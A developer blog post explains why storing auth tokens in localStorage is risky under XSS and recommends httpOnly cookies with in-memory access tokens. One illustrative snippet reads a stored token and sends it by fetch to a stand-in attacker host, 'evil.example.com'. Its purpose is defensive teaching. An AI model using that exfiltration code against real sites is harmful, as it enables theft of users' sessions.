Home
/
Blog
/
Blog article

3/27/2026

Stop Using localStorage for Auth Tokens — Here's Why (And What to Use Instead)

I've seen this pattern in so many codebases — including my own, early on. You build a login flow, get back a JWT from the server, and then do the most convenient thing:

// After successful login
const response = await fetch('/api/auth/login', {
  method: 'POST',
  body: JSON.stringify({ email, password }),
});
const { token } = await response.json();

// ❌ The dangerous way
localStorage.setItem('authToken', token);

It works! The token persists across page refreshes, it's easy to read back, and you ship the feature. But this is one of those things that feels fine until it really, really isn't.

Why localStorage Is a Security Liability

The core problem is Cross-Site Scripting (XSS). Any JavaScript running on your page — including malicious scripts injected through a third-party library, a compromised CDN, or a user input vulnerability — has full, unrestricted access to localStorage.

Here's how trivial a token theft attack looks:

// Attacker injects this script into your page somehow
// (via a vulnerable npm package, user input, etc.)
const stolenToken = localStorage.getItem('authToken');

// Ship it off to their server
fetch('https://evil.example.com/collect', {
  method: 'POST',
  body: JSON.stringify({ token: stolenToken }),
});

// Now the attacker has your user's token. Game over.

This is not a theoretical attack. OWASP consistently lists XSS as one of the top web vulnerabilities, and localStorage being accessible from JS makes it a prime target. The OWASP XSS Prevention Cheat Sheet specifically warns against storing sensitive data in localStorage.

So What Should You Use Instead?

There are three main alternatives, each with different trade-offs. Let me walk through all of them.

1. httpOnly Cookies (The Gold Standard)

This is what I recommend for most production apps. When your server sets a cookie with the HttpOnly flag, JavaScript cannot read it at all. The browser handles it transparently — sends it with every request, but keeps it hidden from your JS code.

// Node.js / Express — server side
app.post('/api/auth/login', async (req, res) => {
  const user = await verifyCredentials(req.body);
  const token = generateJWT(user);

  // ✅ The secure way: httpOnly cookie
  res.cookie('authToken', token, {
    httpOnly: true,    // JS cannot access this
    secure: true,      // HTTPS only
    sameSite: 'strict', // CSRF protection
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
  });

  res.json({ success: true, user: { id: user.id, email: user.email } });
});

On the client side, you don't need to do anything special with the token — the browser attaches it automatically:

// Client side — no manual token handling needed!
const response = await fetch('/api/protected-data', {
  credentials: 'include', // This is the key — sends cookies automatically
});

// No localStorage.getItem('token') needed
// No Authorization header to set manually
// The cookie goes with the request automatically

Let's break down the three critical cookie flags:

  • HttpOnly — Blocks JavaScript access entirely. An XSS attack cannot steal what it cannot read.
  • Secure — Cookie only sent over HTTPS. Prevents interception on unencrypted connections.
  • SameSite=Strict — Prevents the cookie from being sent in cross-site requests, blocking CSRF attacks. Use Lax if you need cross-site GET requests (e.g., OAuth redirects), but understand the trade-off.

2. sessionStorage — A Slight Improvement, Not a Solution

I see developers switch from localStorage to sessionStorage thinking they've solved the problem. They haven't. sessionStorage is still fully accessible to JavaScript. The only difference is it gets cleared when the browser tab is closed.

// sessionStorage — accessible to JS, just like localStorage
sessionStorage.setItem('authToken', token);

// An attacker can still do this:
const stolenToken = sessionStorage.getItem('authToken');
// Still vulnerable to XSS!

sessionStorage limits the token's lifetime to the browser tab, which reduces the window of exposure, but it doesn't eliminate the fundamental XSS vulnerability. It's a marginal improvement at best.

3. In-Memory Tokens — The SPA Alternative

For SPAs (Single Page Applications) where you control the full client-side state, storing tokens as JavaScript variables in memory is a solid option. The token never touches storage APIs.

// auth.js — simple in-memory token store
let accessToken = null;

export const setToken = (token) => {
  accessToken = token;
};

export const getToken = () => accessToken;

export const clearToken = () => {
  accessToken = null;
};

// Usage in your fetch wrapper
export const authFetch = async (url, options = {}) => {
  return fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${getToken()}`,
    },
  });
};

The trade-off: the token is lost on page refresh. The typical pattern to handle this is to use in-memory storage for short-lived access tokens, paired with a long-lived refresh token stored in an httpOnly cookie. The refresh token is used to silently re-acquire a new access token when needed.

// Silent refresh pattern
const silentRefresh = async () => {
  try {
    // The refresh token is in an httpOnly cookie — sent automatically
    const response = await fetch('/api/auth/refresh', {
      method: 'POST',
      credentials: 'include',
    });
    const { accessToken } = await response.json();
    setToken(accessToken); // Store new access token in memory
  } catch (error) {
    // Refresh failed — user needs to log in again
    clearToken();
    redirectToLogin();
  }
};

// Call on app load and periodically
silentRefresh();
setInterval(silentRefresh, 14 * 60 * 1000); // Refresh every 14 minutes

Quick Comparison

  • localStorage — Persists across sessions. Fully accessible to JS. ❌ Vulnerable to XSS.
  • sessionStorage — Clears on tab close. Still accessible to JS. ⚠️ Slightly better than localStorage, still vulnerable.
  • In-memory — Lost on refresh. Not in storage APIs. ✅ Good for access tokens in SPAs with refresh token pattern.
  • httpOnly Cookie — Configurable persistence. Not accessible to JS. ✅ Best protection against XSS. Requires CSRF mitigation.

My Practical Recommendation

For most full-stack apps I build: use httpOnly cookies for your refresh token, and in-memory storage for short-lived access tokens. This gives you the security of httpOnly cookies while keeping your API calls fast (no DB lookup needed for access token validation).

If you're building a traditional server-rendered app (Next.js with SSR, Remix, etc.) — httpOnly session cookies are the clear winner. Libraries like iron-session or NextAuth.js handle all of this for you with solid defaults.

Want to go deep on cookie attributes? The MDN Set-Cookie documentation is comprehensive and keeps up-to-date with browser support.

Migrating an Existing App

If you're migrating an existing app away from localStorage tokens, here's the process I follow:

  1. Update your login endpoint to set an httpOnly cookie in addition to (or instead of) returning the token in the response body.
  2. Add a CSRF token mechanism if you're using cookies (a double-submit cookie pattern works well with SPAs).
  3. Update your API middleware to validate the cookie-based token instead of the Authorization header.
  4. Remove localStorage.setItem/getItem calls from your client-side auth code.
  5. Add credentials: 'include' to your fetch calls so cookies are sent cross-origin (if needed).

The Bottom Line

localStorage is convenient. That's what makes it dangerous. It's a developer experience optimization that comes at the cost of your users' security.

If you're building anything where real users authenticate — and someone stealing their session would be bad — use httpOnly cookies. The extra server-side setup is worth it.

If you're curious about other performance and security patterns I use in real projects, check out my projects page. And if you missed my post on why MongoDB indexing might be slowing down your app, that's worth a read too — same philosophy: understand the tool deeply before trusting it.